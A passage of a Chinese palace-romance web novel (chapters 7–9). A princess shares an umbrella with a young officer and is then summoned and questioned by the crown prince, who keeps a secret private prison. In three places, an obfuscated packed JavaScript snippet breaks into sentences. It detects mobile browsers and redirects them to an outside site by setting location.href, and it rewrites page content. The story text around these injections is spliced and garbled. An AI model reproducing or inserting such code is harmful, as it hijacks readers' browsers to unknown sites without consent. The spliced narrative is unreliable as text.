旁席不少人偷偷看她，萧棠也不曾理会，心思全都放在了他这儿。见他始终没看她，她的眉毛还自顾自地蹙起，雪白的脸蛋上有几分不易察觉的愁色。 就算只有一瞬，掩饰得很好，也仍旧被座上的人看得清清楚楚。 有了上回的教训，吴年本不应该再多话，但要怪就怪淳和公主的表现实在不同于常日。 他又斟了一杯茶，低声道：“恕奴才多嘴，公主一向懂事，就算想念殿下万分，若殿下不召，她也定然不敢主动来见殿下。” 那日得了香囊，太子殿下看也没看一眼，让他随便处置，明明连着两夜有空，却不曾提起让他把萧棠带过来。 见状，吴年只得盼着萧棠主动提起见面的事。 他还是有几分成算的，若萧棠说想见太子，他代为转达，太子殿下大概不会不允。 可坏就坏在萧棠脸皮薄，私下做了那么多事，只顾着干着急，硬是不肯跟他提一句，还是得他这个做下人的从中周旋。 哎，难办！ 吴年还能怎么办，只能自己上了。 “……奴才今日才瞧见了潇湘殿的侍女在跟人打探消息，肯定是公主心头不安，想打听殿下最近的踪迹。” 难得的，魏珣没有打断他。 吴年察言观色，便继续说了：“奴才刚才跟着您进来时，还瞧见公主的手上都是未好的伤，想来是为殿下绣香囊时留下的。” 魏珣的语气很淡：“你没送过药？” 太医使最近的那些好东西，哪样他没有紧赶慢赶都送到潇湘殿了。 男人语调中含着淡淡的讽刺，令吴年忽地想到这茬，他顿住：“……也许是公主肌肤娇嫩，伤不容易好吧？” 很显然，这理由站不住脚。 萧棠伤至今未好，只可能是故意为之。 因着魏珣先前未有及时召她，所以她刻意把那伤口留到现在，好让他看见。 女儿家浅薄的心机和拙劣的伎俩，自然瞒不了太子殿下。 不过，有一点的确没说错。 指节轻轻摩挲了下茶杯光洁细腻的瓷面，几滴湿润的水珠没入指节，男人面上无波无澜。 ……她有多身娇体弱，他最清楚不过。 7. 第 7 章 座下的人终于闭上了聒噪的嘴。 魏珣吩咐吴年：“让她敷好了伤就来见我。” 他不是除了读圣贤书外一窍不通的文人，练过武受过伤，也精通毒医药理，深知那一点伤根本过不了夜。 偏生不知道萧棠是怎么折腾自己的，两日后还留有如此明显的香瘢，隔那么远都能瞧见。 楚王好细腰，宫中多饿死，太子殿下并不喜欢有人过分想要取悦他，做得太明显就罢了，还频频用了那些不大聪明的手段。 萧棠全然不知上首发生了什么，默默地品着茶。 茶倒是好茶，唇齿都是清苦回甘的香气，只是想到座上那位众星捧月似的太子殿下，她颇有几分食不知味。 终于，一内侍匆匆入内，在太子殿下耳侧低语两句，太子起身离席。 众人眼观鼻鼻观心，立即起身行礼相送。 萧棠再次跟着其他人站了起来，余光瞥见魏珣缓步走下台阶，与她擦肩而—— 出乎意料地，男人忽然在她案桌前停了下来。 停顿的一瞬被无限拉长，萧棠的心顷刻就提到了嗓子眼。 这是要做什么！？ 还好，没让她紧张太久，便听见男人身后的吴年道：“长宁公主若有什么东西要转交给殿下，拿给奴才便是。” 萧棠怔了怔，侧过头，才发现刚刚原来是她旁边的长宁公主唤住了魏珣，魏珣因此正好停在了她面前。 ……原来不是在看她，萧棠放心了。 见只是魏珣的内侍理会了她，长宁公主的脸上有几分窘迫，但她也知晓魏珣有要事在身，如此打扰已算是唐突，魏珣肯停下来看她一眼，都是看在这儿人多，不想让她下不来台的份上。 想到这，长宁公主连忙让身边侍女将东西转交给了吴年，歉意道：“怪我叨扰太子哥哥了。” 魏珣：“无事。” 他的声调平和，就算没有什么情绪，也叫人觉得如沐春风，心头熨贴，对这位天人之姿的太子殿下愈发倾慕崇拜。 萧棠还从未听见他用这样的语调跟她说过话。 从前做兄妹时就没有，之后便是同床共枕，抵死缠绵，情况似乎也没有变化。 她若叨扰了他，男人只会瞥她一眼，一言不发。 好像再同他多攀谈一句话就会自取其辱。 也不知道是他唯独对她这个可以随便欺负的妹妹这般不耐，还是说，独独在她面前，他连装都懒得再装下去。 回过神时，魏珣已经离开了，宴会也步入了尾声。 往常宴饮结束，这群爱好享乐的王子皇孙们觉得不过瘾，都会拉上自己的友人伙伴，前去马球场、御花园等其他地方继续玩乐。 这样的场合一般都跟萧棠没什么干系，她像从前那样起身欲走，还未踏出殿中，便忽地听见一道陌生的声音：“淳和公主——” 萧棠站定，转过头去。 那女子比她高半个头，长得高挑丰满，又生了副笑眼，叫人一瞧便觉得很好相处。 “今日天气宜人，我们商量着去投壶，公主可愿意赏脸一道？” 萧棠从未见过她，可听那女子语气大大方方，她只犹豫了一会儿便应了下来：“好啊。” 一同前去的路上，那女子十分健谈，主动向萧棠介绍了自己的来历。原来她是前中军都督佥事晏家的女儿，唤晏山菱，年方十九。 太`祖设五军都督府各辖一方，中军都督府位于东南，与燕京城相隔甚远。难怪晏山菱瞧着比她大不了多少，萧棠此前却从未见过。 无事献殷勤，非奸即盗，好端端的，晏山菱怎么忽然向她示起好来？ 这份疑惑并未持续太长时间，到了目的地，晏山菱眼珠子一转，望向那乌泱泱的一群人。 大邺不重男女大防，尤其对这群注定要彼此通婚结亲的公子千金们。虽然仍旧分作了男女两队，但两边离得并不远。 “我与堂弟初到京中，人生地不熟，第一眼见公主便觉得似与我投缘，这才冒昧打扰公主，想要与公主结个伴。” 晏山菱说着，自然而然地指向了男子那边：“喏，那位就是我堂弟，晏何修。” 萧棠顺着看过去，竟是方才那个少年，他正束着高马尾，双手抱胸倚在树下，也许是远离了嘈杂无趣的宴会，他的神态舒展了许多，显出几分少年的意气风流。 家中是从军的，难怪举手投足的气度与燕京那些酒囊饭袋颇不相同，格外打眼。 只是晏家……她真是没什么印象，不知道晏何修的情况如何。 萧棠忽地福至心灵，有几分明白晏山菱怎会主动与她结交，却没点破，笑盈盈地道：“我也觉得晏姐姐与我很投缘。” 晏山菱立即道：“公主会投壶吗？我略通一二，若公主不熟练，我可以手把手教您。” 萧棠平日勤勤恳恳地维持着自己病秧子的名声，连出门的次数都屈指可数，更别说投壶。 她摇了摇脑袋，很诚实地说：“那我今日得麻烦姐姐了。” 少女声色极柔，又生了副江南女子纤细的秀骨，微微仰着脸唤人姐姐，倒真让人会油然而生一种使命感，叫人想要把她当做家中不谙世事的小妹疼爱。 萧棠难得玩一回投壶，觉得十分新奇，晏山菱怎么教，她就怎么依葫芦画瓢地学，瞄准、投掷，竟比想象中上手得要快要好。 她太过聚精会神，压根没注意到四周的情况，晏山菱却看得清楚。 不远处那些公子少爷们，说两句话就得往这边看一眼。 有的还装作是随便看看，有的却连装都不装了，眼睛都快要直接黏到淳和公主投壶时仰起的颈子、伸长的藕臂上。 晏山菱走到萧棠旁边，高挑的身躯正好能将少女挡住，隔绝掉那边觊觎的目光。 萧棠偏过头，晏山菱道：“我站累了，走动一下，公主不必管我。” 说着，她又看向晏何修，却见晏何修矗在那儿，跟一条又长又直的木头似的，只顾着将箭矢投入壶中。 不过，晏山菱心里跟明镜似的，投壶这种供京中贵族玩乐的把戏，晏何修一向嫌弃太平淡无聊，扔几下就失了趣，今日却站在人群最前头，一根接着一根地投掷，有意换来他人的赞赏与侧目，原因嘛……呵。 至于萧棠，压根就没注意到那边博得头筹的少年，一门心思都在自己手中的箭矢上。 可惜天工实在不作美，她正瞄准了准备脱手，忽地感觉到冰凉的水滴砸在手上。 一滴，两滴，紧接着天色骤沉，云蒸雨降，原本晴朗的天幕像被瞬间撕开了个口子，暴雨倾盆倒下。萧棠一惊，尚来不及反应，手就已经被晏山菱拉了过去，跑到就近的亭中躲雨。 骤雨拍打亭沿，又卷起好大一阵风，压根不给人踏出去的机会。 萧棠仰头看天，只见乌乌泱泱的一片云，这雨应该得下到明日。 倒春寒的天最不可琢磨，上一刻碧空如洗，下一刻便是狂风骤雨。 “燕京城的天气真是说变就变啊。” 晏山菱刚感叹完，调子忽地有几分惊喜地拔高：“何修——” 比少年先一步引入她眼帘的是他覆下的阴影，萧棠眼前蓦地一暗。 她过了一会儿才偏过脸，望向立在晏山菱旁边的那道颀长身形。 近在咫尺时，才发觉晏何修竟然这么高。 可他又不是那种五大三粗、壮得跟座小山似的莽夫，正相反，少年身形极为峻拔，宽肩、蜂腰、削背，样样不缺，像把赏心悦目的名刀。 晏何修抿着唇，他长得着实俊朗，只是五官像是用刀剑劈出来的，过分锋锐、笔直，没表情时眉头下压，显得…… 有点凶。萧棠在心中默默地补充道。 但一对上她的眼睛，少年的眼睛闪了闪，周身冷硬的气质再次微妙地消融了许多。 “见过公主。” 晏何修说着，一只手横到了她的面前，是只油纸伞。 萧棠愣了愣，原想拒绝，可转头瞧见晏山菱手上已经有了一只，便改口应道：“多谢。” 晏何修颔首，不说话了。 晏山菱连忙补道：“何修他笨嘴拙舌，公主不必介意。” 若是单单只见晏何修，萧棠当然是会觉得他不大好亲近的。可有晏山菱在一旁周旋，她又觉得一家人不出两种性子，晏何修应当不是表面上那么不好接近之辈。 “怎么会，”萧棠笑吟吟地道：“我感激都来不及呢。” 她一笑，晏何修的唇绷得更直了。 少年手指握拳，在唇前轻咳了一声，语气不由得也放轻了些：“雨会越下越大，路更不好走，我们先动身下山吧。” 说是山，其实这儿只是皇宫西边的一道坡，旁边就是豹房兽园，专门辟出一块供贵人玩乐。 清静是清静，空旷是空旷，但若想要回殿、出宫，可需要走好长一段路。 尤其是这截下坡路，若路面积了水，稍有不慎便容易失足跌倒，趁着雨刚下就走，是最妥帖安全的法子。 萧棠点了点头，伸手撑开伞，却忽地发现伞柄一撑就松。 她咦了声，原想拿给晏山菱瞧瞧怎么回事，可有人先上前了一步，低头问：“纸伞坏了？” 距离骤地拉近。可眼下更有重要的事，萧棠也没顾上这处细枝末节，应了声，将伞柄递到他手里：“你看看。” 晏何修伸手接过，不可避免地碰到了她的指尖。 一触即离，是从未有过的触感，像一段轻盈温软的纱。 少年微微怔松，手一时忘了拿稳。“啪”的一声，油纸伞摔落在地，彻底断成两截。 晏何修：“……” 晏山菱：“……” 萧棠：“……” 少女有些尴尬：“抱歉，我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715988|173709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿稳……” “怪我。”晏何修打断她，“是我刚刚分了神，不是公主的缘故。” 顿了顿，他又说：“山下不远就是西群房，我可以依次送阿姐与公主下山，其余再议。” 晏山菱没急着答应，堂姐弟俩双双望着萧棠。 萧棠望向晏何修。 少年迎上她的目光，又咳了声，有些僵硬地补充道：“我是看公主手上有伤，担心公主独行不便撑伞……” 多同晏何修说了几句话后，她发觉少年虽然长得不大好相处，性子实际上却不错。萧棠莞尔：“多谢公子，那我便却之不恭了。” 同一只伞下，少年腿很长，步伐也习惯迈得大，如今却不得不迁就起她，走得很慢很慢。 但两人头一回认识，头一回同行，毫无默契可言，步调一旦不统一，免不了番摩肩擦踵。 不，萧棠对他来讲太娇小了，肩膀只会轻轻擦过他的手臂，垂下的发丝也一并扫过他举起的手。 四周只有寂静的雨声，令人所有的心思无法抑制地落在那一点触碰上。 “前几日，”晏何修忽地开口，“我入东宫时，远远见过公主一面。” “东宫？？” 一听到这熟悉的字眼，萧棠的声调都变了，侧目，“你原来是太子殿下的幕僚吗？” 怎么会这么巧，难不成他一个地方的世家子弟还会是东宫辅臣？魏珣的手已经伸到中军都督府了？ 晏何修：“公主误会了。” “我的故友是太子殿下的伴读，我入京后，他引荐我去东宫拜见太子。”这些事原本不该跟她说，可少年意外坦诚，“我只见过太子一面，仅此而已。” “……这样呀。” 一听他跟魏珣没什么联系，萧棠才放松下来。那就好，她可不敢随意跟魏珣身边的人有交集，免得招来多余的麻烦。 回忆起晏何修刚刚的措辞，少女翘起唇角；“公子倒是实诚。” 寻常人若能见太子殿下一回，不管有没有得太子青眼，离去后定会吹得天花乱坠，将一分的关系说成十分。 哪有人会直接把自己跟东宫的关系撇得这么干干净净，当真是不懂为官的那些弯弯绕绕。 晏何修只道：“我不敢欺瞒公主。” 说着，头顶的伞面又往她这边倾斜了些。 萧棠瞥见，又看向他露在外边的那一侧肩膀，已经湿透了，只是因为衣裳颜色较深，不大容易看出来。 她没说话，只是伸手扶正了斜得厉害的伞柄。 少女的手落在他上方，可垂下的宽袖却覆在了他手上，又像一汪柔水似的，轻轻从他指尖拂过。 晏何修怔了怔，视线落在那片锦袖上，接着一路到她柔弱无骨的手，以及她微微偏着的侧脸。 才发现，淳和公主的脸……当真只有他巴掌那么大。 为了不让伞顺着缝隙飘进来，少年有意将伞面压低，四下大雨瓢泼，掩盖了多余的声音。 故而谁都没有察觉，西群房上阁楼，瞥来一道平静的目光。 太子殿下到此避雨，顺带听宫中的内探汇报密情。 半掩的窗很快被风吹得合上，他也并没有再命人大开，收回目光，望向一旁汇报完毕的内探。 内探脑袋埋得低极了，魏珣淡淡道：“下去吧。” 内探应声退下，只留吴年抱着竹骨伞立在门口，不知是进是退。 他刚刚原本是打算去西山上，将淳和公主接过来的。 虽然太子殿下并未吩咐，可吴年一合计，西群房正好就在西山坡下，如今又下了雨，他去接公主避雨，顺带就一同出宫，让太子跟公主叙叙旧，岂不美哉？ 谁料走出去没多远，就瞧见少年少女挨在一起的两道身影。 靠得那么近就算了，远远看着，淳和公主还似乎搭了一下那人的手。 虽是一触即离，可那一幕瞧着……吴年停止了自己大逆不道的想法。 有旁人在，还是个与朝中大小事有所牵连的人，他不敢轻举妄动，只得先返回来听令了。 他偷偷瞥了眼合上的窗，再看太子平静的神色，估摸着太子殿下应当还不知道外头的状况，既是如此，他要不要禀，又该怎么禀…… “晏家那位准指挥使，”魏珣忽地道，“何时入的京？” 一听这话，吴年便知道魏珣方才瞧见了，连忙正了正色：“上月廿三。” 晏何修来东宫拜见过太子，他对晏何修自然了如指掌，“一同入京的还有他的一位堂姐、两位胞弟，都是白身。” 停顿片刻，吴年敏锐地察觉到太子似乎还在等着下文，又补充了一句：“不曾有妻妾通房。” 太子殿下好像没什么反应，嗯了声，径自离开，并未再管不远处的淳和公主。 …… 但傍晚，潇湘殿便毫无征兆地得了口信，魏珣要见她。 8. 第 8 章 甫一得到这个消息，萧棠刚刚出浴。 前来传话的并非吴年，而是另一位面熟的内侍，萧棠再三确认：“太子是说今晚？” 内侍颔首，恭敬道：“马车已在宫门外候着了。” 从前吴年都会给她留足了梳妆打扮的时辰，头一回像现下这般匆忙。 萧棠只得让内侍多等一刻钟，她如今身容潦草，实在不便再去见人。 坐在镜前，主仆两人都不约而同地从铜镜中瞧出了对方脸上的诧色。 “吴公公也没有提前来找奴婢，往常都是提前一日，至少半日通知潇湘殿的……” 瑞雪喃喃着，替她擦干净鬓边湿润的发丝，重新绾了个简单的发髻，揣测道：“太子今日应当是临时起意的吧。” 萧棠轻轻蹙起眉。 瑞雪又问：“殿下今日遇见太子了吗？” “只是碰了一面而已。” 萧棠努力回忆起宴上是否有什么特殊的情况。 很可惜，她什么都没回忆起来。从头到尾魏珣都没有看她一眼，也没有与她说过一句话。 她还当魏珣是真的对她没什么兴趣了。 结果谁知道，刚一回到潇湘殿就得知了这猝不及防的消息。 萧棠心头忐忑，但转念一想，魏珣其实也不是第一次一时兴起。 第一夜后，次日晌午，他原本答应让吴年送她回去，可她那时实在走不动路，不得不先上了药，多待了会儿。 ……结果一待，就是整整一日一夜。她到最后彻底一步都走不了了，不是挂在男人身上，就是由他抱着，后来躲到行宫别院里，养了足旬才好。 只是后来一年，魏珣太过节制，教她几乎忘记了这一出插曲。 兵来将挡，水来土掩，萧棠想，她大可以再去试探一番魏珣的态度，另做打算。 梳妆完后，瑞雪又开始替她挑选衣裙，萧棠斟酌片刻，选了件寡淡无味，还会衬得脸色不大好的素色绸衣。 ………… 暮色四合，暴雨滂沱，马车稳稳地停在那处宅邸前。 吴年早已撑伞候在门口，见着她，神情有几分复杂。 萧棠主动唤道：“吴公公。” “姑娘安好。”吴年冲她笑了笑，姿态倒是跟从前一样恭敬。 待撑起伞，他才对她说：“今日这雨下得突然，奴才正好在西山附近，原本是想去接公主，不料……还有旁人，便作罢了。” 萧棠心头咯噔一下，天底下竟然真有这么巧的事情。 既然吴年知道，魏珣肯定也知道了。 吴年点到为止，不再多说，萧棠紧紧咬住唇，忽地有些不妙。 她从前再怎么欺瞒魏珣，至少在他面前从未有半分逾矩。如今这一番行径落在魏珣眼中，也不知他会作何想。 收回神，她柔柔地朝吴年颔首，做足礼数：“多谢公公提醒。” 幽庭曲沼，修竹荫阶，一径绿云直入游廊。走到廊下，吴年收起竹伞，另一位侍女上前递给她刚沏好的茶，说让她送去给太子殿下。 萧棠轻轻停顿了一刻，柔声重复了遍：“是要我送去书房？” 侍女：“是。” 往常魏珣有事时，她都是直接去寝房等着他。至于宅邸之内有什么别的东西，她一律不看、不问、不知道。 魏珣大抵对她的乖巧也很满意，从未提过让她去旁的地方。 头一回前去魏珣的书房，萧棠差点走错了路，还是得内侍指引，才拐回了原道。 训练有素的侍从们不曾发出半点多余的声响，但淅淅沥沥的雨声之下，似乎仍有什么奇怪的动静。 靠近书房后，那动静愈发明显，似远似近，如鬼如魅。 她在门外停住脚步：“……太子殿下？” “进来。”男人的嗓音平淡如水。 萧棠深吸了口气，一推开门，正欲唤魏珣，一个黑漆漆的大洞猛地映入眼帘。 她顿在原地，好一会儿定睛一看，才发现那竟是墙上一扇大开的暗门。 门后连接着狭长阴森的甬道，里面漆黑得伸手不见五指，看不清楚通往何方。 刚刚那声音，似乎正是从里面传出。 魏珣正好从暗门走了出来。门边候着的内侍连忙呈上玉盆与绸帕，供他慢条斯理地擦干净指节。 盆中清水上飘着几根薄荷叶，足以掩盖掉不重的血腥味。 萧棠的后背紧绷，忽地发觉自己好像来错了时候……可魏珣刚刚口口声声让她进来，她现在能直接退出去吗？ 少女紧张地站在门边，等来的却并非驱逐。相反，内侍麻利地离开了，大有把这一处屋室留给他们二人的意思。 侍女只让她来送茶，没说别的，萧棠咬着唇，干脆硬着头皮上前，将茶放在案桌边，低声道：“皇兄，阿棠只是——” 告罪的话刚起了头，好巧不巧，暗门后原本忽远忽近的声音突然放大，像有什么东西没马上要从甬道里破笼而出。 突如其来的变故吓得萧棠手一抖，茶盏哐当摔在桌案上。 杯盏未碎，可茶水悉数溅出，又正正好好打湿了太子殿下的衣袖。 “……”萧棠从未觉得自己这般倒霉。 她拿出丝帕，想快点替魏珣擦干净衣袖上的洇湿，将这一出插曲糊弄过去。 可手刚落在男人袖上，就听见有人喊道：“殿下、太子殿下，罪臣绝无与誉王、与回屹勾连之心，是誉王以罪臣妻儿胁迫罪臣，罪臣不得已——求您明鉴——” 萧棠伸出的手硬生生停滞住，继续擦不是，不继续擦也不是。 她很想要装聋作哑，然而那人喊得实在是撕心裂肺，字字铿锵，令她听得一清二楚。 罪臣。 自古能关押审讯戴罪官吏者，唯有刑部与大理寺。 其余人等滥用私刑，是为枉法。 ……她好像真的听到了一个不得了的秘密。 被听到秘密的太子殿下神色毫无波动，对那人的恳求左耳进右耳出，只是瞥了眼她搭上来的手。 墨色的袖上，少女的柔荑被衬得愈发素白。 唯有指尖是淡淡的粉，剔透得像是一线雪，随时都要融化在他的手臂上。 假意是在替他擦拭水渍，实际上手指附上他后便不动了，只有指尖有意地隔着衣料挠来挠去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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恐怕旁人无论如何都不会想到，仁善宽厚的太子殿下，会在自己的宅邸中建一座刀山火树的私狱。 萧棠原先只当这里是魏珣寻欢时随意挑选的地方，从未想过，此处竟有这般惊天的玄机。 她自以为见过了魏珣的真面目，知道他性情恶劣，远不如人前那般温和，却也未想过他会如此草菅人命。 一切重新归于安静，萧棠只能听见自己全然乱了的呼吸声。 檀香味萦绕在她周身不散，萧棠别开脸，试图避开男人投来的视线，下巴却被他擒住抬起。 四目相对，她颤了颤：“皇、皇兄……” “怕了？” 手指轻挲了下她精巧的下巴，又往上一点，指腹轻轻带过她的唇瓣。 少女的唇生得丰润，颤抖时会极轻微地一张一合，摁到她唇上的指尖会感觉到似有似无的湿意，像是被她含住了似的。 唇在颤，身体也是。自从刚刚得了机会顺理成章地缩进他怀中，她整个人便像是没有骨头一样往他身上倚，蹭。 他一边要去想方才那桩事关回屹奸细的密案，一边还要受着她并不高明的勾`引与撩拨。 只是这一招对他并没有什么用，魏珣平静地叙述道：“孤还以为皇妹胆子很大，同军中杀人不眨眼之徒都能共举一伞，谈笑风生。” 9. 第 9 章 片刻寂静后，萧棠怔然道：“……皇兄是说，晏家的公子？” 晏何修，杀人不眨眼？ 魏珣静静地望着她持续了好一会儿的迷茫表情，像是真的一无所知。 他并未应她，不过对萧棠而言也是件好事。至少她还可以继续解释。 “我并不认识那位公子，只是他的堂姐邀我一同投壶……” 她身子僵着，却仍努力三言两语交代了当时的情形：“晏姑娘心善，便托他先送我下山去西群房。” 萧棠知晓太子殿下有一万种法子探明她说的虚实，这番话一字不假。 虽然她有意另觅佳婿，也觉得晏何修比之她从前见过的世家子弟有几分不同。 但两人之间的交流，确实只是点到为止而已。 共举一伞听上去亲近，但当时暴雨，下山路湿滑，她若不趁早离开，留在那儿，要么等着瑞雪顶着大雨找上来，要么就只得孤苦伶仃地等到雨停。 也能用情急之下的权宜之计来解释。 男人也不知道有没有听进去，指节还抚着她的下唇，带着丝丝沁水似的凉意。 蓦地，魏珣问：“他说他来过东宫？” 那么大一段话里，萧棠不知道他怎么忽地摘出这一句。 她乖乖应声，又趁机补充道：“我以为能与东宫来往，定不是什么不可交之辈。” 这就是故意说给魏珣听的，把锅全都推到了东宫头上。 虽不知魏珣为何忽地兴师问罪，但圣人云，不知者无罪。 闻言，太子殿下轻轻扯了下唇角，不置可否。 果然，不出所料。 前日晏何修才登东宫，今日萧棠便与晏何修的堂姐攀谈。 她从前从未交友结伴，两耳不闻窗外事，如今却一反常态，又是派侍女去宫外打探，又是留下与女眷一起投壶。 如此种种，并不聪明的何止是勾`引人的手段，连那点心思都昭然若揭。 少女的唇瓣未涂胭脂，血色都少了几分。 落在颈边的发丝已经不知不觉被香汗浸湿，紧紧黏在肩颈上，勾勒出她纤细如枝的颈子。 就差把害怕跟心虚写明在脸上。 私自打探太子行踪是东宫大忌，她不会不知。 看在她素来乖顺，唯有这一回犯了错的份上，他没有说穿。 萧棠并不知晓，自己刚刚那句话落在太子耳中已经成了另一种含义。 她只知道捏着她下巴的力道似乎松了一点，凝滞的气氛也跟着松缓了下来。 那句军中杀人不眨眼之徒在她唇齿间又过了一遍，萧棠还极少听见魏珣用这样的词形容旁人。 她试探着再次出声：“皇兄是不喜他吗？” 突如其来的问题像是提醒了魏珣，男人彻底松开了她，不咸不淡地道：“一个初出茅庐的都指挥使而已。” 晏何修前日才来过东宫，魏珣对他有些许印象。 年岁不大，行事谈吐却足够稳重，进退亦有度。 祖母的西域血脉遗传给了少年一副与燕京人略有区别的脸庞，眉眼深刻，深琥珀色的瞳仁之中，的确像传言中那般有一股藏着的狠厉。 只是传言归传言，在太子殿下眼中，到底也只是个中军都督府出来的毛头小子。 才刚刚崭露头角，以后回到扬州卫，到底能不能凭自己真正站稳脚跟，还是个不定数。 他不至于对这种人起什么成见。 萧棠听出他话中并未掩饰的不屑，若不是对晏何修有意见，“那皇兄是不喜阿棠与晏家人走得太近吗？” 晏何修进京述职不过两月后就会离去，他在燕京并无根基，也无人情，只是个浮萍似的孤臣。 至于他的堂姐晏山菱，更是彻头彻尾的普通女眷。 萧棠就算与之结交，也不会掀起什么风浪。 但魏珣并未费口舌解释，只淡淡道：“你在朝臣眼中已是东宫的人，事事都该三思而后行。” 他的人。 这句话若是由其他人说，在如此孤男寡女的时候，难免带着几分别的意味。 然而从太子殿下口中说出，却是再客观不过的陈述。 他在御书房替她父亲说了话，从今往后，无论萧棠做了什么事，朝上都会有人将其与东宫相联系，随时等着搬弄是非，谏言参上。 朝中正是多事之秋，晏家又事关五军都督，往大了说，便是与地方军权有所牵扯。 萧棠与其往来，他自然会多留意几分。 仅此而已。 并无旁的缘由。 萧棠听出了他话语里冷冰冰的含义。 魏珣留心于她，并非在意她，只是在意他自己的大计，怕她添乱而已。 难怪会忽地召她，问个清楚。 意料之中的事，她并不神伤。 只是，萧棠有些怕魏珣因此不悦，强行让她断了与旁人的往来。 非要断一个，她宁愿顺坡下驴，提出这些时日不再来见他：“皇兄——” “吴年。” 两道声音重叠在一起，萧棠不得不把剩下的话先咽回去。 魏珣唤来吴年为他更衣。 他的吹毛求疵之癖一向很重，哪怕袖上茶渍已经擦干净，也仍旧必须要再换件外衫。 吴年很快就捧着崭新的墨色暗纹对襟走了进来，却并未直接走向魏珣，而是脚步拐了弯，停在萧棠面前。 萧棠望着那就差直接送到她手上的衣衫，并未立即有动作。 吴年见她不接，瞥了瞥上方，手又往前送了点，出言提醒道：“姑娘。” 就差明说要她为太子殿下更衣了。 萧棠本想拒绝，余光瞥见手上的疤，却改了主意，柔声应下：“吴公公，我来吧。” 吴年将外衫交给她，十分有眼色地退下，顺带紧合上了书房的门。 萧棠为男人更衣时有意抬起了手，将手背上成片的香瘢送到了他眼皮子底下。 若说刚刚魏珣没空注意，如今无论如何都该看见了。 也的确，很快，男人的视线就落在了她手上。 “……这是先前弄伤的，涂错了药，不知怎的一直不好，疤痕反而越来越重。” 萧棠连忙轻声解释着，有些歉疚与窘迫地咬着唇：“并非有意想污皇兄的眼。” 话音落下，魏珣便扫了她一眼。 是很明显的不耐。 久居上位的人举手投足都会带着股威严。平日佯装温和时尚且还会收敛几分，如今这一眼，半分不敛，教萧棠的心都忍不住跟着猛烈地跳了跳。 她没有想到这一点伤口的效用这么明显。 也对，魏珣连一件沾过水的外衫都容忍不了，怎么会容忍她手上这么明显的瑕疵。 无论是这里还是东宫都不缺肌肤完好，合他心意的女子。 就如这件对襟一样，太子若不想要，换一个就是了。 她等着被魏珣发落下去，但魏珣静了一瞬，道：“晚些让大夫去瞧一瞧。” 只是如此？ 况且，让大夫瞧出她的伤处蹊跷，若追究下去，不就露了馅，这绝非萧棠本意。 她柔声婉拒：“我再涂一涂药说不定就好了，这么大的雨，还是不必劳烦大夫多跑一趟……” “吴年会安排好，”魏珣道，“孤马上要去尚书府。” 马上，也就是不会与她在此过夜了。 他忽地提起此事，萧棠分辨不出是魏珣今夜召她过来原本就只是单纯问话，还是他最初起了意，瞧见她手上的伤又失了兴味。 大抵是后者吧。 目的达成，萧棠为男人更衣的动作都变得轻快了。 自古轩冕以庸，衣裳有殊，贵人的冠冕、腰佩与着装都有特定的规格，太子所着的锦服自然尤为复杂繁丽，萧棠光是系玉带就系了好半晌。 她低着头，聚精会神地望着那玉带，洁白的雪额正好抵在他胸膛前，往下一点，近在咫尺的是少女小巧却挺的鼻尖。 呼吸之间，气息都隔着那松散的衣襟落在他身上。 就算如此，还嫌不够。 还要故意将手上的伤在他眼下晃来晃去，非要他发现。 邀宠的意味呼之欲出。 随着少女抬手拂袖的动作，她浑身的香味也跟生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715990|173709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵似的，都像清晨蒙蒙的雾气，争先恐后往他身上钻。 魏珣并不喜欢过分甜腻的气味，几不可察地蹙了下眉，开了口：“以后不必再熏此香。” “……？” 萧棠的手指停顿在他腰上，抬起脸，精巧的小脸上又是熟悉的茫然。 过了一会儿，她弱弱地辩解：“我并没有熏香的习惯。” 魏珣也顿了一顿。 那味道还停留在他身上，的确不像是寻常女眷会用的脂粉。 从前她发间颈后似乎也有，但幽幽淡淡，从未扰人。 可今日尤为昭著，便显得不那么讨喜了些。 不承认是熏在衣裳上的香，便应该是什么香膏发露。 太子长于深宫，对嫔妃这些心机百出的伎俩亦有所耳闻。 萧棠其实也觉得奇怪，她低头，不着痕迹地闻了闻自己身上的味道。 明明跟之前并未有什么区别啊。 也许是魏珣对她不耐烦了，她做什么都是错。 这般想着，她不慎分了神，竟系错了束带。 萧棠顿了顿，瞥了眼魏珣，见他恍然未觉，连忙拆开，重新摆弄了一遍。 少女的指尖系了拆，拆了系，反反复复地拂过他的腰。 自从方才以更衣之名近了他的身，她的手，脸，发丝，但凡挨着他的每一处都没有老实过。 方才萧棠有意邀宠，他就已经不着声色地告诫过她，他并不会在此停留太久。 然而萧棠似乎一个字都没有听进去，甚至愈发过分了起来。 平心而论，不装作平易近人时的太子殿下其实并非是个脾气很好的人。 还正相反，他的耐心十分有限。 “不必系了。”男人道，“坐上去。” 萧棠松开手，抬起脸看他，又顺着他的视线看向一旁的桌案。 好一会儿，她蓦地反应过来他的意思。 “皇、皇兄，”她松开手，“皇兄不是说还有要事，阿棠不敢叨扰……” “你已经叨扰得够久了。” “只是……” 魏珣温和道：“淳和，不要再惹孤不高兴。” 